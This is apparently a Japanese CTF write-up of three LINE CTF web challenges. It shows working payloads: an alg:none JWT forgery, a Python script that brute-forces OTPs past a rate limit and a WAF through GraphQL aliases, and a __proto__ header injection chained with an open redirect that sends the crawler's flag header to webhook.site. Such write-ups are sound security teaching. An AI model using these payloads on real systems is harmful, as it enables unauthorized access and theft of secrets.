関わった問題のみ書いていきます
- jalyboy-baby (web: 100 pt / 428 solves)
- graphql-101 (web: 176 pt / 28 solves)
- hhhhhhhref (web: 257 pt / 12 solves)
jalyboy-baby (web: 100 pt / 428 solves)
It's almost spring. I like spring, but I don't like hay fever.
問題ファイルが配布されていたが、読んでいない。
「login as guest」と「login as admin」のボタンがあり、admin の方は押せない。
試しに guest をの方を押してみると以下に遷移する。
/?j=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJndWVzdCJ9.rUKzvxAwpuro6UF6KETwbMPCLBsPGUScjSEZtQGjfX4
JWTだ。デコードして中身を見ていく。
header = { "alg": "HS256" } payload = { "sub": "guest" } signature = rUKzvxAwpuro6UF6KETwbMPCLBsPGUScjSEZtQGjfX4
baby と名前がついてて warmup 感があるので、とりあえず常套手段の alg: none
にしてみる。
eyJhbGciOiJub25lIn0.eyJzdWIiOiJndWVzdCJ9.
特にエラーが出ることも無く「Hi guest!」と帰ってくるので、payload の sub を admin に書き換えてフィニッシュ。
eyJhbGciOiJub25lIn0.eyJzdWIiOiJhZG1pbiJ9.
LINECTF{337e737f9f2594a02c5c752373212ef7}
発展問題の jalyboy-jalygirl は悩んでいたらシュッと解かれていた。
CVE-2022-21449 の Psychic Signatures を使うらしい。初耳。
graphql-101 (web: 176 pt / 28 solves)
Hello, I've just learned graphql by following tutorial of express graphql server. I hope nothing goes wrong.
opt のチェックが40個ある。全問正解するとflagがもらえるようだ。
まず、optの生成について読んでいくと、以下のことがわかってくる。
- ユーザ名は admin のみサポートしている
Object.create(null)
で生成しているので、Prototypeガチャガチャは厳しそう- admin 要素の配下にIPアドレス毎に opt が生成されていく
- 0~999 の範囲で 40 個の otp を生成している
const STRENGTH_CHALLENGE = 999; const NUM_CHALLENGE = 40; (snip) // Currently support admin only var otps = Object.create(null); otps["admin"] = Object.create(null); function genOtp(ip, force = false) { if (force || !otps["admin"][ip]) { function intToString(v) { let s = v.toString(); while (s.length !== STRENGTH_CHALLENGE.toString().length) s = '0' + s; return s; } const otp = []; for (let i = 0; i < NUM_CHALLENGE; ++i) otp.push( intToString(crypto.randomInt(0, STRENGTH_CHALLENGE)) ); otps["admin"][ip] = otp; } }
実際の opts は以下のような感じ。
[Object: null prototype] { admin: [Object: null prototype] { '::ffff:172.18.0.1': [ '374', '656', '189', '914', '089', '843', '656', '442', '267', '584', '797', '430', '205', '140', '473', '019', '459', '208', '287', '373', '292', '679', '158', '375', '767', '044', '224', '528', '868', '100', '897', '952', '040', '298', '891', '711', '507', '023', '266', '186' ] } }
opt の検証は graphql のエンドポイントで実行されていて、128byte までのサイズ制限及び 30 分に 5 回までの制限がかかっている。
const rateLimiter = require('express-rate-limit')({ windowMs: 30 * 60 * 1000, max: 5, standardHeaders: true, legacyHeaders: false, onLimitReached: async (req) => genOtp(req.ip, true) }); (snip) app.use((req, res, next) => { genOtp(req.ip); next() }); app.use(require('body-parser').json({ limit: '128b' })); app.use( "/graphql", rateLimiter, graphqlHTTP({ schema: schema, rootValue: root, }) );
Username に yoden、 Otp 0 に 111 を入力したときに POST されるデータは以下。
{"query":"query{otp(u:\"yoden\",i:0,otp:\"111\")}","variables":{}}
検証の流れを見ていく。
function checkOtp(username, ip, idx, otp) { if (!otps[username]) return false; if (!otps[username][ip]) return false; return otps[username][ip][idx] === otp; } // Construct a schema, using GraphQL schema language const schema = buildSchema(` type Query { otp(u: String!, i: Int!, otp: String!): String! } `); // The root provides a resolver function for each API endpoint const root = { otp: ({ u, i, otp }, req) => { if (i >= NUM_CHALLENGE || i < 0) return ERROR_MSG; if (!checkOtp(u, req.ip, i, otp)) return ERROR_MSG; rateLimiter.resetKey(req.ip); otps[u][req.ip][i] = 1; return CORRECT_MSG; }, }
opt 正解時に rateLimiter.resetKey(req.ip);
でレートリミットがリセットされるため、連続して正解している間はレートリミットを無視できる。
また、 otps[u][req.ip][i] = 1;
により opt が 1 で上書きされて opts は以下のようになる。
[Object: null prototype] { admin: [Object: null prototype] { '::ffff:172.18.0.1': [ 1, '236', '662', '599', '991', '591', '815', '917', '551', '292', '906', '569', '932', '557', '945', '713', '012', '322', '076', '254', '653', '113', '237', '295', '956', '413', '470', '506', '138', '769', '527', '116', '397', '209', '872', '658', '300', '549', '305', '039' ] } }
二つのことから一度 Otp 0 に正解した後に 5 回に 1 回 Otp 0 に 1 で答えることでレートリミットを無視して 2 問目以降にチャレンジできそうに思えたが、schema
で opt が String
に制限されているので int の 1 を送信することは不可。型が一致しないため、 checkOtp
で opt の正誤判定 ===
を抜けれない。
どうにかして 40 問正解した後、/admin
にアクセスすることで flag が手に入る。
app.get('/admin', (req, res) => { let sum = 0; for (let i = 0; i < NUM_CHALLENGE; ++i) sum += otps["admin"][req.ip][i]; res.send((sum === NUM_CHALLENGE) ? process.env.FLAG : ERROR_MSG); });
また、req.url
及び req.query
について waf が用意されている。
// Secure WAF !!!! const { isDangerousPayload, isDangerousValue } = require('./waf'); app.use((req, res, next) => { if (isDangerousValue(req.url)) return res.send(ERROR_MSG); if (isDangerousPayload(req.query)) return res.send(ERROR_MSG); next(); });
isDangerousValue
は admin
か \
が含まれているとNG
isDangerousPayload
はオブジェクトに key と value それぞれに isDangerousValue
を呼び出す。valueがオブジェクトな場合は再帰してチェックしていく。
function isDangerousValue(s) { return s.includes('admin') || s.includes('\\'); // Linux does not need to support "\" } /** Secured WAF for admin on Linux */ function isDangerousPayload(obj) { if (!obj) return false; const keys = Object.keys(obj); for (let i = 0; i < keys.length; ++i) { const key = keys[i]; if (isDangerousValue(key)) return true; if (typeof obj[key] === 'object') { if (isDangerousPayload(obj[key])) return true; } else { const val = obj[key].toString(); if (isDangerousValue(val)) return true; } } return false; }
そのため /admin
にアクセスできないが、これは express のサーバなので /Admin
にアクセスすることで waf に検知されずにアクセスできる。
レートリミット対策に otp を複数一気に遅れないかなと思っていたが、エラー。
query{ otp(u: "admin",i: 0,otp: "000"), otp(u: "admin",i: 0,otp: "001") }
Fields "otp" conflict because they have differing arguments. Use different aliases on the fields to fetch both if this was intentional.
ここで悩んでいたら、なんと alias なるものがあるらしい。 *1
query{ a0:otp(u: "admin",i: 0,otp: "000"), a1:otp(u: "admin",i: 0,otp: "001") }
{"data":{"a0":"Wrong !!!","a1":"Wrong !!!"}}
これで otp を一度に複数回実行できるようになった。
ただ POST の Body は 128byte までのサイズ制限があるので、このまま追加していたらすぐ引っかかる。
app.use(require('body-parser').json({ limit: '128b' }));
express-graphql のソースを読んでいたら、 query は GET のクエリパラメータでも実行できることを思い出した。
「mutation じゃないのに更新してるの使えるかな~」と考えていたのでちょっとスッキリ。
GET /graphql?query=query{a0%3aotp(u%3a"yoden",i%3a0,otp%3a"000")a1%3aotp(u%3a"yoden",i%3a0,otp%3a"001")} HTTP/1.1 Host: localhost:7654
{"data":{"a0":"Wrong !!!","a1":"Wrong !!!"}}
waf のせいで u に admin
の文字が入れれない。unicodeでバイパスしたくても \
も入れれない。
再度 express-graphql のソースを読んでいたら、query や valiables をクエリパラメータとボディにバラバラに配置することが可能ということがわかった。
以下のような形で、waf と サイズ制限を回避しながら otp を複数同時に実行できる。
POST http://localhost:7654/graphql?query=query+($u:String!){a1:otp(u%3a$u,i%3a+0,+otp%3a"001"),a2:otp(u%3a$u,i%3a+0,+otp%3a"002")} HTTP/1.1 Host: localhost:7654 Content-Length: 29 Content-Type: application/json {"variables":{"u":"admin"}}
1000個同時はデカすぎてエラーになるので、行儀よく200個ずつに分割して送る。
import requests import time target = "http://localhost:7654" variables = {"variables": {"u": "admin"}} for i in range(40): for j in [0, 200, 400, 600, 800]: print(f"i={i}, j={j}") otps = "".join( [f'a{x:03}:otp(u:$u,i:{i},otp:"{x:03}")' for x in range(j, j + 199)] ) res = requests.post( f'{target}/graphql?query=query($u:String!){{{otps}}}', json=variables, ) time.sleep(0.1) if "OK !!!" in res.text: print("break") break res = requests.get(f"{target}/Admin") print(res.text)
LINECTF{db37c207abbc5f2863be4667129f70e0}
*2
hhhhhhhref (web: 257 pt / 12 solves)
Are they specifications or are they vulnerabilities? What do you think?
build_local.md に従って環境を作ってビルドする。 .env
は配布してほしいきもち。。
register, login, redirect, crawler の 4 つの機能がある。
register, login は想像のとおりの機能だし、redirect は admin にしか使えないらしいので crawler から見ていく。
// login await page.goto(`${process.env.NEXTAUTH_URL}/api/auth/signin?callbackUrl=/`); await page.type("#input-name-for-credentials-provider", username); await page.type("#input-password-for-credentials-provider", password); await Promise.all([ page.waitForNavigation(), page.click("button[type=submit]"), ]); // crawl with provided code await page.setExtraHTTPHeaders({ "X-LINECTF-FLAG": process.env.FLAG }); await page.goto(`${process.env.NEXTAUTH_URL}/rdr?errorCode=${code}`); await delay(1500);
username
, password
でログインした後、 HTTP ヘッダに flag を付けた状態で /rdr?errorCode=${code}
にアクセスする。username
, password
, code
の3つはどれもユーザ入力。
この rdr
はさっき redirect とされていた機能で、先述の通り admin しか使えない。まずはこれにアクセスできないといけないので、そこの制限について見ていく。
const userData = await redis.hgetall(session.user.userId); redis.disconnect(); // are you ADMIN? if ( userData.userRole === 'ADMIN' && userData.adminSecretToken === process.env.ADMIN_SECRET_TOKEN ) { return { props: { errorCode: errorCode } }; } // are you USER? if (userData.userRole === 'USER' && Object.keys(userData).length === 3) { return { redirect: { permanent: false, destination: '/error/403', }, props: {}, }; } else { return { props: { errorCode: errorCode } }; }
userRole
が ADMIN
であるか、 userRole
が USER
であり Object.keys(userData).length
が 3
でないときに使えることがわかる。
userData
は redis.hgetall(session.user.userId)
なので、redis を見に行く。
hhhhhhhref_redis
はログイン状態のユーザ情報を管理している。
$ docker exec -it hhhhhhhref_redis bash root@9070729cd2c2:/data# redis-cli 127.0.0.1:6379> keys * 1) "USER_clu6q8g0c0000snm3stc9qhqc" 127.0.0.1:6379> hgetall USER_clu6q8g0c0000snm3stc9qhqc 1) "userName" 2) "yoden" 3) "userRole" 4) "USER" 5) "userSecretToken" 6) "34ab8757-09de-47ae-9da8-8577cf601d81"
この時の userData
のイメージは以下。
{ userName: 'yoden', userRole: 'USER', userSecretToken: '34ab8757-09de-47ae-9da8-8577cf601d81' }
これでは Object.keys(userData).length
が 3
でなくなることなど無さそうだが、完全に要らないコードが書いてあるということは考えにくいので増やすか減らす術があるのだろう。それぞれ見ていく。
username
は数字アルファベット大文字小文字のみが利用可能で、 "admin" 以外の一文字以上。
これでできることはほぼ無さそう。
async function register(req: any, res: any) { const { name, password } = req.body; if (name.length < 1 || password.length < 1) { return res.status(400).end(); } if (/[^0-9a-zA-Z].*/.test(name)) { return res.status(400).end(); } if (name.toLowerCase() === 'admin') { return res.status(400).end(); }
userRole
が ADMIN になるのは userName
が admin のとき。つまり無理。
if (credentials?.name === 'admin') { const userId = 'ADMIN_' + loginUser.id; const userName = loginUser.name; const userRole = 'ADMIN'; redis.hset(userId, 'userName', userName); redis.hset(userId, 'userRole', userRole); redis.hset( userId, 'adminSecretToken', process.env.ADMIN_SECRET_TOKEN as string ); return { userId, name: userName, role: userRole, }; (snip) const userId = 'USER_' + loginUser.id; const userName = loginUser.name; const userRole = 'USER'; const normalUser = { userId, name: userName, role: userRole, };
USER の時に userSecretToken
周りの処理が続く。
// NOTE: the following will ONLY be executed on first login after registration if (!(await redis.exists(userId))) { if (!req.headers) { return null; } // prevent overwriting of default keys if (req.headers['x-user-token-key']) { if ( ['username', 'userrole'].includes( req.headers['x-user-token-key'].toLowerCase() ) ) { return null; } } // set default values const defaultKey = 'userSecretToken'; req.headers['x-user-token-key'] = req.headers['x-user-token-key'] || defaultKey; req.headers['x-user-token-value'] = req.headers['x-user-token-value'] || crypto.randomUUID().toString(); // save registered user info in redis redis.hset(userId, 'userName', userName); redis.hset(userId, 'userRole', userRole); redis.hset( userId, req.headers['x-user-token-key'].toString(), req.headers['x-user-token-value'].toString() ); }
Redis に ユーザIDの key が存在しないとき、req.headers['x-user-token-key']
をオブジェクトの key として req.headers['x-user-token-value']
の値をセットできる。
「Redis に ユーザIDの key が存在しないとき」はコメントを信じるなら register 直後の一度のみだが、ログアウト時に以下の処理で全部削除されるので「該当ユーザがログインしていない時」となる。
await redis.del(session.user.userId);
さて、ここで重要なのが「オブジェクトのkeyを操作可能」なこと。
以下のようなリクエストを送信する
POST /api/auth/callback/credentials HTTP/1.1 Host: hhhhhhhref:3000 Origin: http://hhhhhhhref:3000 Content-Type: application/x-www-form-urlencoded Cookie: next-auth.csrf-token=21130de4106122a9ff6cf38d071376c65a1e326220d160ea0667101297b9279f%7C4ab1c2bc2473d7440929037c846fbb06d2f484c8e929745ea90967981796273b; next-auth.callback-url=http%3A%2F%2Fhhhhhhhref%3A3000 Content-Length: 100 x-user-token-key: test csrfToken=21130de4106122a9ff6cf38d071376c65a1e326220d160ea0667101297b9279f&name=yoden&password=yoden
その後ログインすると、Redis 内の値がこうなる。
127.0.0.1:6379> hgetall USER_clu6q8g0c0000snm3stc9qhqc 1) "userName" 2) "yoden" 3) "userRole" 4) "USER" 5) "test" 6) "989e99a3-e331-450a-830a-e3b38835ac36"
この時の userData
はこう。
{ userName: 'yoden', userRole: 'USER', test: '34ab8757-09de-47ae-9da8-8577cf601d81' }
こうなったときに使えそうなのが __proto__
。
x-user-token-key
ヘッダを __proto__
として送信する。
POST /api/auth/callback/credentials HTTP/1.1 Host: hhhhhhhref:3000 Origin: http://hhhhhhhref:3000 Content-Type: application/x-www-form-urlencoded Cookie: next-auth.csrf-token=21130de4106122a9ff6cf38d071376c65a1e326220d160ea0667101297b9279f%7C4ab1c2bc2473d7440929037c846fbb06d2f484c8e929745ea90967981796273b; next-auth.callback-url=http%3A%2F%2Fhhhhhhhref%3A3000 Content-Length: 100 x-user-token-key: __proto__ csrfToken=21130de4106122a9ff6cf38d071376c65a1e326220d160ea0667101297b9279f&name=yoden&password=yoden
すると、 yoden:yoden
でログインしたときに Object.keys(userData).length
が 2 になり、 admin 用の機能である redirect が使えるようになった。
では rdr
を読んでいく。
const handler = () => { const newUrl = document.getElementsByClassName( 'redirect_url' )[0] as HTMLAnchorElement; window.location.href = newUrl.href; }; useEffect(() => { setTimeout(() => { handler(); }, 500); (snip) <Link href={{ pathname: `/report/error/${props.errorCode}`, }} className="redirect_url" target="_blank" >
errorCode
が href に反映され、自動でリダイレクトする。いかにもオープンリダイレクトしてほしそう。
手元で試したら、ここで他ドメインにリダイレクトしたときにもちゃんとHTTPヘッダが引き継がれていたので、flagが盗めそう。
まず思いつくのは /report/error/${props.errorCode}
なので ../../foobar
で任意のパスを指定できそうなこと。
/rdr?errorCode=../../foo/bar
としたら、リダイレクト先が /foo/bar
になった。
だがこれでは他ドメインに飛べない。任意のパスでオープンリダイレクトできそうな箇所を探す。
しばらくして、 /rdr?errorCode=../../foo/bar?url=example.com
としたときにリダイレクト時のURLが /foo/bar%3Furl=example.com
となることに気付いた。
?
がエンコードされてしまうので、これではクエリパラメータが使えない。パス部分だけでオープンリダイレクトを探すとなると希望は薄い。
アプリケーション内には何もなく、Webできる人総動員でnext-auth
のソースを読みに行っても何も見つからず。
「無理じゃ~ん」と諦めながらブラウザ側でデバッグしてみたらURLが正規化されている。
いろいろと試してみる。
errorCode | href |
---|---|
foo | /report/error/foo |
../../foo | /foo |
../..//foo | /foo |
../..////////foo | /foo |
%0afoo | /report/error/foo |
連続した /
は一つにまとめられ、 URL的に invalid な改行などは消される。
そして、ガチャガチャしていたら ../../%0a/foo
で //foo
になった。
/rdr?errorCode=../../%0a/example.com
これで example.com に飛ばせる。
あとは crawler に投げるだけ。
POST /api/bot/crawl HTTP/1.1 Host: hhhhhhhref:3000 Content-Length: 117 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36 Content-Type: application/json Accept: */* Origin: http://hhhhhhhref:3000 Referer: http://hhhhhhhref:3000/crawl Accept-Encoding: gzip, deflate, br Accept-Language: ja,en-US;q=0.9,en;q=0.8 Cookie: next-auth.csrf-token=21130de4106122a9ff6cf38d071376c65a1e326220d160ea0667101297b9279f%7C4ab1c2bc2473d7440929037c846fbb06d2f484c8e929745ea90967981796273b; next-auth.callback-url=http%3A%2F%2Fhhhhhhhref%3A3000%2F; Connection: close {"name":"yoden","password":"yoden","errorCode":"../../%0a/webhook.site/..."}
URLの -
にURLエンコードが必要なことに気付かずに実行してて、全然リクエスト来なくてめちゃめちゃ焦った。
LINECTF{7320a1b512380dd4e0452f9fc3166201}
*3